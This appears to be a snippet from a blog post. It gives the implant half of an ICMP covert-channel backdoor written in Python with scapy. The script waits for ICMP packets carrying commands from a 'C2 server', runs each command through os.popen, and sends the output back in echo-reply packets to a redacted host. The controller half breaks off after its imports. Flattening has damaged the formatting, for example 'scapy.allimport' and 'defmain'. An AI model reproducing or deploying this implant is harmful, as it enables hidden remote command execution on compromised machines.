#!/usr/bin/env python3 #被控端 import os from scapy.allimport *
defmain(): whileTrue: # wait for the ICMP message containing the command from the C2 server # to be received rx = sniff(filter="icmp", count=1) # strip down the packet to the payload itself var = rx[0][Raw].load.decode('utf-8') # run the command and save the result print(var) res = os.popen(var).read() # build the ICMP packet with the result as the payload send(IP(dst="XXXXXXXXXX")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__": main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from scapy.allimport * from scapy.layers.inet import ICMP #控制端